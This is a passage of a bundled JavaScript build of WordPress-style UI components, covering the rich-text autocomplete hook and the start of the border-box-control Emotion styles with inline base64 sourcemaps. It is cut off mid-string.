29024 onClose: onReset,
29025 placement: "top-start",
29026 className: "components-autocomplete__popover",
29027 anchor: popoverAnchor,
29028 ref: popoverRefs,
29029 children: /* @__PURE__ */ (0, import_jsx_runtime110.jsx)(ListBox, {
29030 items,
29031 onSelect,
29032 selectedIndex,
29033 instanceId,
29034 listBoxId,
29035 className: className2
29036 })
29037 }), contentRef.current && needsA11yCompat && (0, import_react_dom6.createPortal)(/* @__PURE__ */ (0, import_jsx_runtime110.jsx)(ListBox, {
29038 items,
29039 onSelect,
29040 selectedIndex,
29041 instanceId,
29042 listBoxId,
29043 className: className2,
29044 Component: component_default2
29045 }), contentRef.current.ownerDocument.body)]
29046 });
29047 }
29048 return AutocompleterUI;
29049 }
29050 function useOnClickOutside(ref, handler) {
29051 (0, import_element51.useEffect)(() => {
29052 const listener = (event) => {
29053 if (!ref.current || ref.current.contains(event.target)) {
29054 return;
29055 }
29056 handler(event);
29057 };
29058 document.addEventListener("mousedown", listener);
29059 document.addEventListener("touchstart", listener);
29060 return () => {
29061 document.removeEventListener("mousedown", listener);
29062 document.removeEventListener("touchstart", listener);
29063 };
29064 }, [handler, ref]);
29065 }
29066
29067 // packages/components/build-module/utils/get-node-text.mjs
29068 var getNodeText = (node2) => {
29069 if (node2 === null) {
29070 return "";
29071 }
29072 switch (typeof node2) {
29073 case "string":
29074 case "number":
29075 return node2.toString();
29076 case "object": {
29077 if (node2 instanceof Array) {
29078 return node2.map(getNodeText).join("");
29079 }
29080 if ("props" in node2) {
29081 return getNodeText(node2.props.children);
29082 }
29083 return "";
29084 }
29085 default:
29086 return "";
29087 }
29088 };
29089 var get_node_text_default = getNodeText;
29090
29091 // packages/components/build-module/autocomplete/index.mjs
29092 var import_jsx_runtime111 = __toESM(require_jsx_runtime(), 1);
29093 var EMPTY_FILTERED_OPTIONS = [];
29094 var AUTOCOMPLETE_HOOK_REFERENCE = {};
29095 function useAutocomplete({
29096 record,
29097 onChange,
29098 onReplace,
29099 completers,
29100 contentRef
29101 }) {
29102 const instanceId = (0, import_compose18.useInstanceId)(AUTOCOMPLETE_HOOK_REFERENCE);
29103 const [selectedIndex, setSelectedIndex] = (0, import_element52.useState)(0);
29104 const [filteredOptions, setFilteredOptions] = (0, import_element52.useState)(EMPTY_FILTERED_OPTIONS);
29105 const [filterValue, setFilterValue] = (0, import_element52.useState)("");
29106 const [autocompleter, setAutocompleter] = (0, import_element52.useState)(null);
29107 const [AutocompleterUI, setAutocompleterUI] = (0, import_element52.useState)(null);
29108 const backspacingRef = (0, import_element52.useRef)(false);
29109 function insertCompletion(replacement) {
29110 if (autocompleter === null) {
29111 return;
29112 }
29113 const end = record.start;
29114 const start = end - autocompleter.triggerPrefix.length - filterValue.length;
29115 const toInsert = (0, import_rich_text2.create)({
29116 html: (0, import_element52.renderToString)(replacement)
29117 });
29118 onChange((0, import_rich_text2.insert)(record, toInsert, start, end));
29119 }
29120 function select(option) {
29121 const {
29122 getOptionCompletion
29123 } = autocompleter || {};
29124 if (option.isDisabled) {
29125 return;
29126 }
29127 if (getOptionCompletion) {
29128 const completion = getOptionCompletion(option.value, filterValue);
29129 const isCompletionObject = (obj) => {
29130 return obj !== null && typeof obj === "object" && "action" in obj && obj.action !== void 0 && "value" in obj && obj.value !== void 0;
29131 };
29132 const completionObject = isCompletionObject(completion) ? completion : {
29133 action: "insert-at-caret",
29134 value: completion
29135 };
29136 if ("replace" === completionObject.action) {
29137 onReplace([completionObject.value]);
29138 return;
29139 } else if ("insert-at-caret" === completionObject.action) {
29140 insertCompletion(completionObject.value);
29141 }
29142 }
29143 reset();
29144 contentRef.current?.focus();
29145 }
29146 function reset() {
29147 setSelectedIndex(0);
29148 setFilteredOptions(EMPTY_FILTERED_OPTIONS);
29149 setFilterValue("");
29150 setAutocompleter(null);
29151 setAutocompleterUI(null);
29152 }
29153 function onChangeOptions(options2) {
29154 setSelectedIndex(options2.length === filteredOptions.length ? selectedIndex : 0);
29155 setFilteredOptions(options2);
29156 }
29157 function handleKeyDown(event) {
29158 backspacingRef.current = event.key === "Backspace";
29159 if (!autocompleter) {
29160 return;
29161 }
29162 if (filteredOptions.length === 0) {
29163 return;
29164 }
29165 if (event.defaultPrevented) {
29166 return;
29167 }
29168 switch (event.key) {
29169 case "ArrowUp": {
29170 const newIndex = (selectedIndex === 0 ? filteredOptions.length : selectedIndex) - 1;
29171 setSelectedIndex(newIndex);
29172 if ((0, import_keycodes.isAppleOS)()) {
29173 (0, import_a11y2.speak)(get_node_text_default(filteredOptions[newIndex].label), "assertive");
29174 }
29175 break;
29176 }
29177 case "ArrowDown": {
29178 const newIndex = (selectedIndex + 1) % filteredOptions.length;
29179 setSelectedIndex(newIndex);
29180 if ((0, import_keycodes.isAppleOS)()) {
29181 (0, import_a11y2.speak)(get_node_text_default(filteredOptions[newIndex].label), "assertive");
29182 }
29183 break;
29184 }
29185 case "Escape":
29186 setAutocompleter(null);
29187 setAutocompleterUI(null);
29188 event.preventDefault();
29189 break;
29190 case "Enter":
29191 select(filteredOptions[selectedIndex]);
29192 break;
29193 case "ArrowLeft":
29194 case "ArrowRight":
29195 reset();
29196 return;
29197 default:
29198 return;
29199 }
29200 event.preventDefault();
29201 }
29202 const textContent = (0, import_element52.useMemo)(() => {
29203 if ((0, import_rich_text2.isCollapsed)(record)) {
29204 return (0, import_rich_text2.getTextContent)((0, import_rich_text2.slice)(record, 0));
29205 }
29206 return "";
29207 }, [record]);
29208 (0, import_element52.useEffect)(() => {
29209 if (!textContent) {
29210 if (autocompleter) {
29211 reset();
29212 }
29213 return;
29214 }
29215 const completer = completers.reduce((lastTrigger, currentCompleter) => {
29216 const triggerIndex2 = textContent.lastIndexOf(currentCompleter.triggerPrefix);
29217 const lastTriggerIndex = lastTrigger !== null ? textContent.lastIndexOf(lastTrigger.triggerPrefix) : -1;
29218 return triggerIndex2 > lastTriggerIndex ? currentCompleter : lastTrigger;
29219 }, null);
29220 if (!completer) {
29221 if (autocompleter) {
29222 reset();
29223 }
29224 return;
29225 }
29226 const {
29227 allowContext,
29228 triggerPrefix
29229 } = completer;
29230 const triggerIndex = textContent.lastIndexOf(triggerPrefix);
29231 const textWithoutTrigger = textContent.slice(triggerIndex + triggerPrefix.length);
29232 const tooDistantFromTrigger = textWithoutTrigger.length > 50;
29233 if (tooDistantFromTrigger) {
29234 return;
29235 }
29236 const mismatch = filteredOptions.length === 0;
29237 const wordsFromTrigger = textWithoutTrigger.split(/\s/);
29238 const hasOneTriggerWord = wordsFromTrigger.length === 1;
29239 const matchingWhileBackspacing = backspacingRef.current && wordsFromTrigger.length <= 3;
29240 if (mismatch && !(matchingWhileBackspacing || hasOneTriggerWord)) {
29241 if (autocompleter) {
29242 reset();
29243 }
29244 return;
29245 }
29246 const textAfterSelection = (0, import_rich_text2.getTextContent)((0, import_rich_text2.slice)(record, void 0, (0, import_rich_text2.getTextContent)(record).length));
29247 if (allowContext && !allowContext(textContent.slice(0, triggerIndex), textAfterSelection)) {
29248 if (autocompleter) {
29249 reset();
29250 }
29251 return;
29252 }
29253 if (/^\s/.test(textWithoutTrigger) || /\s\s+$/.test(textWithoutTrigger)) {
29254 if (autocompleter) {
29255 reset();
29256 }
29257 return;
29258 }
29259 if (!/[\u0000-\uFFFF]*$/.test(textWithoutTrigger)) {
29260 if (autocompleter) {
29261 reset();
29262 }
29263 return;
29264 }
29265 const safeTrigger = escapeRegExp(completer.triggerPrefix);
29266 const text = (0, import_remove_accents3.default)(textContent);
29267 const match4 = text.slice(text.lastIndexOf(completer.triggerPrefix)).match(new RegExp(`${safeTrigger}([\0-\uFFFF]*)$`));
29268 const query = match4 && match4[1];
29269 setAutocompleter(completer);
29270 setAutocompleterUI(() => completer !== autocompleter ? getAutoCompleterUI(completer) : AutocompleterUI);
29271 setFilterValue(query === null ? "" : query);
29272 }, [textContent]);
29273 const {
29274 key: selectedKey = ""
29275 } = filteredOptions[selectedIndex] || {};
29276 const {
29277 className: className2
29278 } = autocompleter || {};
29279 const isExpanded = !!autocompleter && filteredOptions.length > 0;
29280 const listBoxId = isExpanded ? `components-autocomplete-listbox-${instanceId}` : void 0;
29281 const activeId = isExpanded ? `components-autocomplete-item-${instanceId}-${selectedKey}` : null;
29282 const hasSelection = record.start !== void 0;
29283 const showPopover = !!textContent && hasSelection && !!AutocompleterUI;
29284 return {
29285 listBoxId,
29286 activeId,
29287 onKeyDown: withIgnoreIMEEvents(handleKeyDown),
29288 popover: showPopover && /* @__PURE__ */ (0, import_jsx_runtime111.jsx)(AutocompleterUI, {
29289 className: className2,
29290 filterValue,
29291 instanceId,
29292 listBoxId,
29293 selectedIndex,
29294 onChangeOptions,
29295 onSelect: select,
29296 value: record,
29297 contentRef,
29298 reset
29299 })
29300 };
29301 }
29302 function recordValuesMatch(a3, b3) {
29303 return a3.text === b3.text && a3.start === b3.start && a3.end === b3.end;
29304 }
29305 function useLastDifferentValue(value) {
29306 const history = (0, import_element52.useRef)([]);
29307 const lastEntry = history.current[history.current.length - 1];
29308 if (!lastEntry || !recordValuesMatch(value, lastEntry)) {
29309 history.current.push(value);
29310 }
29311 if (history.current.length > 2) {
29312 history.current.shift();
29313 }
29314 return history.current[0];
29315 }
29316 function useAutocompleteProps(options2) {
29317 const ref = (0, import_element52.useRef)(null);
29318 const onKeyDownRef = (0, import_element52.useRef)(void 0);
29319 const {
29320 record
29321 } = options2;
29322 const previousRecord = useLastDifferentValue(record);
29323 const {
29324 popover,
29325 listBoxId,
29326 activeId,
29327 onKeyDown
29328 } = useAutocomplete({
29329 ...options2,
29330 contentRef: ref
29331 });
29332 onKeyDownRef.current = onKeyDown;
29333 const mergedRefs = (0, import_compose18.useMergeRefs)([ref, (0, import_compose18.useRefEffect)((element) => {
29334 function _onKeyDown(event) {
29335 onKeyDownRef.current?.(event);
29336 }
29337 element.addEventListener("keydown", _onKeyDown);
29338 return () => {
29339 element.removeEventListener("keydown", _onKeyDown);
29340 };
29341 }, [])]);
29342 const didUserInput = record.text !== previousRecord?.text;
29343 if (!didUserInput) {
29344 return {
29345 ref: mergedRefs
29346 };
29347 }
29348 return {
29349 ref: mergedRefs,
29350 children: popover,
29351 "aria-autocomplete": listBoxId ? "list" : void 0,
29352 "aria-owns": listBoxId,
29353 "aria-activedescendant": activeId
29354 };
29355 }
29356 function Autocomplete({
29357 children,
29358 isSelected: isSelected2,
29359 ...options2
29360 }) {
29361 const {
29362 popover,
29363 ...props
29364 } = useAutocomplete(options2);
29365 return /* @__PURE__ */ (0, import_jsx_runtime111.jsxs)(import_jsx_runtime111.Fragment, {
29366 children: [children(props), isSelected2 && popover]
29367 });
29368 }
29369
29370 // packages/components/build-module/border-box-control/border-box-control/component.mjs
29371 var import_i18n26 = __toESM(require_i18n(), 1);
29372 var import_element91 = __toESM(require_element(), 1);
29373 var import_compose36 = __toESM(require_compose(), 1);
29374
29375 // packages/components/build-module/border-box-control/border-box-control-linked-button/component.mjs
29376 var import_i18n9 = __toESM(require_i18n(), 1);
29377
29378 // packages/components/build-module/border-box-control/border-box-control-linked-button/hook.mjs
29379 var import_element53 = __toESM(require_element(), 1);
29380
29381 // packages/components/build-module/border-box-control/styles.mjs
29382 function _EMOTION_STRINGIFIED_CSS_ERROR__9() {
29383 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
29384 }
29385 var borderBoxControl = /* @__PURE__ */ css(false ? "" : ";label:borderBoxControl;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFhbUMiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vdXRpbHMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4uL2JvcmRlci1jb250cm9sL3R5cGVzJztcbmltcG9ydCB0eXBlIHsgQm9yZGVycyB9IGZyb20gJy4vdHlwZXMnO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQm94Q29udHJvbCA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgbGlua2VkQm9yZGVyQ29udHJvbCA9ICgpID0+IGNzc2Bcblx0ZmxleDogMTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiAnMjRweCcgfSApKCkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IHdyYXBwZXIgPSBjc3NgXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJCb3hDb250cm9sTGlua2VkQnV0dG9uID0gKFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0dG9wOiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnOHB4JyA6ICczcHgnIH07XG5cdFx0JHsgcnRsKCB7IHJpZ2h0OiAwIH0gKSgpIH1cblx0XHRsaW5lLWhlaWdodDogMDtcblx0YDtcbn07XG5cbmNvbnN0IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHtcblx0XHRjb2xvciA9IENPTE9SUy5ncmF5WyAyMDAgXSxcblx0XHRzdHlsZSA9ICdzb2xpZCcsXG5cdFx0d2lkdGggPSBDT05GSUcuYm9yZGVyV2lkdGgsXG5cdH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgY2xhbXBlZFdpZHRoID1cblx0XHR3aWR0aCAhPT0gQ09ORklHLmJvcmRlcldpZHRoID8gYGNsYW1wKDFweCwgJHsgd2lkdGggfSwgMTBweClgIDogd2lkdGg7XG5cdGNvbnN0IGhhc1Zpc2libGVCb3JkZXIgPSAoICEhIHdpZHRoICYmIHdpZHRoICE9PSAnMCcgKSB8fCAhISBjb2xvcjtcblx0Y29uc3QgYm9yZGVyU3R5bGUgPSBoYXNWaXNpYmxlQm9yZGVyID8gc3R5bGUgfHwgJ3NvbGlkJyA6IHN0eWxlO1xuXG5cdHJldHVybiBgJHsgY29sb3IgfSAkeyBib3JkZXJTdHlsZSB9ICR7IGNsYW1wZWRXaWR0aCB9YDtcbn07XG5cbmV4cG9ydCBjb25zdCBib3JkZXJCb3hDb250cm9sVmlzdWFsaXplciA9IChcblx0Ym9yZGVycz86IEJvcmRlcnMsXG5cdHNpemU/OiAnZGVmYXVsdCcgfCAnX191bnN0YWJsZS1sYXJnZSdcbikgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHR0b3A6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyMHB4JyA6ICcxNXB4JyB9O1xuXHRcdHJpZ2h0OiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMzlweCcgOiAnMjlweCcgfTtcblx0XHRib3R0b206ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyMHB4JyA6ICcxNXB4JyB9O1xuXHRcdGxlZnQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICczOXB4JyA6ICcyOXB4JyB9O1xuXHRcdGJvcmRlci10b3A6ICR7IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy50b3AgKSB9O1xuXHRcdGJvcmRlci1ib3R0b206ICR7IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy5ib3R0b20gKSB9O1xuXHRcdCR7IHJ0bCgge1xuXHRcdFx0Ym9yZGVyTGVmdDogYm9yZGVyQm94U3R5bGVXaXRoRmFsbGJhY2soIGJvcmRlcnM/LmxlZnQgKSxcblx0XHR9ICkoKSB9XG5cdFx0JHsgcnRsKCB7XG5cdFx0XHRib3JkZXJSaWdodDogYm9yZGVyQm94U3R5bGVXaXRoRmFsbGJhY2soIGJvcmRlcnM/LnJpZ2h0ICksXG5cdFx0fSApKCkgfVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckJveENvbnRyb2xTcGxpdENvbnRyb2xzID0gKFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IGNzc2Bcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRmbGV4OiAxO1xuXHR3aWR0aDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gdW5kZWZpbmVkIDogJzgwJScgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBjZW50ZXJlZEJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGdyaWQtY29sdW1uOiBzcGFuIDI7XG5cdG1hcmdpbjogMCBhdXRvO1xuYDtcblxuZXhwb3J0IGNvbnN0IHJpZ2h0Qm9yZGVyQ29udHJvbCA9ICgpID0+IGNzc2Bcblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6ICdhdXRvJyB9ICkoKSB9XG5gO1xuIl19 */");
29386 var linkedBorderControl = () => /* @__PURE__ */ css("flex:1;", rtl({
29387 marginRight: "24px"
29388 })(), ";" + (false ? "" : ";label:linkedBorderControl;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFlNEMiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vdXRpbHMnO1xuXG5pbXBvcnQgdHlwZSB7IEJvcmRlciB9IGZyb20gJy4uL2JvcmRlci1jb250cm9sL3R5cGVzJztcbmltcG9ydCB0eXBlIHsgQm9yZGVycyB9IGZyb20gJy4vdHlwZXMnO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQm94Q29udHJvbCA9IGNzc2BgO1xuXG5leHBvcnQgY29uc3QgbGlua2VkQm9yZGVyQ29udHJvbCA9ICgpID0+IGNzc2Bcblx0ZmxleDogMTtcblx0JHsgcnRsKCB7IG1hcmdpblJpZ2h0OiAnMjRweCcgfSApKCkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IHdyYXBwZXIgPSBjc3NgXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBib3JkZXJCb3hDb250cm9sTGlua2VkQnV0dG9uID0gKFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0dG9wOiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnOHB4JyA6ICczcHgnIH07XG5cdFx0JHsgcnRsKCB7IHJpZ2h0OiAwIH0gKSgpIH1cblx0XHRsaW5lLWhlaWdodDogMDtcblx0YDtcbn07XG5cbmNvbnN0IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrID0gKCBib3JkZXI/OiBCb3JkZXIgKSA9PiB7XG5cdGNvbnN0IHtcblx0XHRjb2xvciA9IENPTE9SUy5ncmF5WyAyMDAgXSxcblx0XHRzdHlsZSA9ICdzb2xpZCcsXG5cdFx0d2lkdGggPSBDT05GSUcuYm9yZGVyV2lkdGgsXG5cdH0gPSBib3JkZXIgfHwge307XG5cblx0Y29uc3QgY2xhbXBlZFdpZHRoID1cblx0XHR3aWR0aCAhPT0gQ09ORklHLmJvcmRlcldpZHRoID8gYGNsYW1wKDFweCwgJHsgd2lkdGggfSwgMTBweClgIDogd2lkdGg7XG5cdGNvbnN0IGhhc1Zpc2libGVCb3JkZXIgPSAoICEhIHdpZHRoICYmIHdpZHRoICE9PSAnMCcgKSB8fCAhISBjb2xvcjtcblx0Y29uc3QgYm9yZGVyU3R5bGUgPSBoYXNWaXNpYmxlQm9yZGVyID8gc3R5bGUgfHwgJ3NvbGlkJyA6IHN0eWxlO1xuXG5cdHJldHVybiBgJHsgY29sb3IgfSAkeyBib3JkZXJTdHlsZSB9ICR7IGNsYW1wZWRXaWR0aCB9YDtcbn07XG5cbmV4cG9ydCBjb25zdCBib3JkZXJCb3hDb250cm9sVmlzdWFsaXplciA9IChcblx0Ym9yZGVycz86IEJvcmRlcnMsXG5cdHNpemU/OiAnZGVmYXVsdCcgfCAnX191bnN0YWJsZS1sYXJnZSdcbikgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHR0b3A6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyMHB4JyA6ICcxNXB4JyB9O1xuXHRcdHJpZ2h0OiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMzlweCcgOiAnMjlweCcgfTtcblx0XHRib3R0b206ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICcyMHB4JyA6ICcxNXB4JyB9O1xuXHRcdGxlZnQ6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/ICczOXB4JyA6ICcyOXB4JyB9O1xuXHRcdGJvcmRlci10b3A6ICR7IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy50b3AgKSB9O1xuXHRcdGJvcmRlci1ib3R0b206ICR7IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy5ib3R0b20gKSB9O1xuXHRcdCR7IHJ0bCgge1xuXHRcdFx0Ym9yZGVyTGVmdDogYm9yZGVyQm94U3R5bGVXaXRoRmFsbGJhY2soIGJvcmRlcnM/LmxlZnQgKSxcblx0XHR9ICkoKSB9XG5cdFx0JHsgcnRsKCB7XG5cdFx0XHRib3JkZXJSaWdodDogYm9yZGVyQm94U3R5bGVXaXRoRmFsbGJhY2soIGJvcmRlcnM/LnJpZ2h0ICksXG5cdFx0fSApKCkgfVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGJvcmRlckJveENvbnRyb2xTcGxpdENvbnRyb2xzID0gKFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IGNzc2Bcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRmbGV4OiAxO1xuXHR3aWR0aDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gdW5kZWZpbmVkIDogJzgwJScgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBjZW50ZXJlZEJvcmRlckNvbnRyb2wgPSBjc3NgXG5cdGdyaWQtY29sdW1uOiBzcGFuIDI7XG5cdG1hcmdpbjogMCBhdXRvO1xuYDtcblxuZXhwb3J0IGNvbnN0IHJpZ2h0Qm9yZGVyQ29udHJvbCA9ICgpID0+IGNzc2Bcblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6ICdhdXRvJyB9ICkoKSB9XG5gO1xuIl19 */");
29389 var wrapper = false ? {
29390 name: "bjn8wh",
29391 styles: "position:relative"
29392 } : {
29393 name: "memc06-wrapper",
29394 styles: "position:relative;label:wrapper;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFvQjBCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uL3V0aWxzJztcblxuaW1wb3J0IHR5cGUgeyBCb3JkZXIgfSBmcm9tICcuLi9ib3JkZXItY29udHJvbC90eXBlcyc7XG5pbXBvcnQgdHlwZSB7IEJvcmRlcnMgfSBmcm9tICcuL3R5cGVzJztcblxuZXhwb3J0IGNvbnN0IGJvcmRlckJveENvbnRyb2wgPSBjc3NgYDtcblxuZXhwb3J0IGNvbnN0IGxpbmtlZEJvcmRlckNvbnRyb2wgPSAoKSA9PiBjc3NgXG5cdGZsZXg6IDE7XG5cdCR7IHJ0bCggeyBtYXJnaW5SaWdodDogJzI0cHgnIH0gKSgpIH1cbmA7XG5cbmV4cG9ydCBjb25zdCB3cmFwcGVyID0gY3NzYFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5gO1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQm94Q29udHJvbExpbmtlZEJ1dHRvbiA9IChcblx0c2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJ1xuKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHRvcDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzhweCcgOiAnM3B4JyB9O1xuXHRcdCR7IHJ0bCggeyByaWdodDogMCB9ICkoKSB9XG5cdFx0bGluZS1oZWlnaHQ6IDA7XG5cdGA7XG59O1xuXG5jb25zdCBib3JkZXJCb3hTdHlsZVdpdGhGYWxsYmFjayA9ICggYm9yZGVyPzogQm9yZGVyICkgPT4ge1xuXHRjb25zdCB7XG5cdFx0Y29sb3IgPSBDT0xPUlMuZ3JheVsgMjAwIF0sXG5cdFx0c3R5bGUgPSAnc29saWQnLFxuXHRcdHdpZHRoID0gQ09ORklHLmJvcmRlcldpZHRoLFxuXHR9ID0gYm9yZGVyIHx8IHt9O1xuXG5cdGNvbnN0IGNsYW1wZWRXaWR0aCA9XG5cdFx0d2lkdGggIT09IENPTkZJRy5ib3JkZXJXaWR0aCA/IGBjbGFtcCgxcHgsICR7IHdpZHRoIH0sIDEwcHgpYCA6IHdpZHRoO1xuXHRjb25zdCBoYXNWaXNpYmxlQm9yZGVyID0gKCAhISB3aWR0aCAmJiB3aWR0aCAhPT0gJzAnICkgfHwgISEgY29sb3I7XG5cdGNvbnN0IGJvcmRlclN0eWxlID0gaGFzVmlzaWJsZUJvcmRlciA/IHN0eWxlIHx8ICdzb2xpZCcgOiBzdHlsZTtcblxuXHRyZXR1cm4gYCR7IGNvbG9yIH0gJHsgYm9yZGVyU3R5bGUgfSAkeyBjbGFtcGVkV2lkdGggfWA7XG59O1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQm94Q29udHJvbFZpc3VhbGl6ZXIgPSAoXG5cdGJvcmRlcnM/OiBCb3JkZXJzLFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0dG9wOiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMjBweCcgOiAnMTVweCcgfTtcblx0XHRyaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzM5cHgnIDogJzI5cHgnIH07XG5cdFx0Ym90dG9tOiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMjBweCcgOiAnMTVweCcgfTtcblx0XHRsZWZ0OiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMzlweCcgOiAnMjlweCcgfTtcblx0XHRib3JkZXItdG9wOiAkeyBib3JkZXJCb3hTdHlsZVdpdGhGYWxsYmFjayggYm9yZGVycz8udG9wICkgfTtcblx0XHRib3JkZXItYm90dG9tOiAkeyBib3JkZXJCb3hTdHlsZVdpdGhGYWxsYmFjayggYm9yZGVycz8uYm90dG9tICkgfTtcblx0XHQkeyBydGwoIHtcblx0XHRcdGJvcmRlckxlZnQ6IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy5sZWZ0ICksXG5cdFx0fSApKCkgfVxuXHRcdCR7IHJ0bCgge1xuXHRcdFx0Ym9yZGVyUmlnaHQ6IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy5yaWdodCApLFxuXHRcdH0gKSgpIH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBib3JkZXJCb3hDb250cm9sU3BsaXRDb250cm9scyA9IChcblx0c2l6ZT86ICdkZ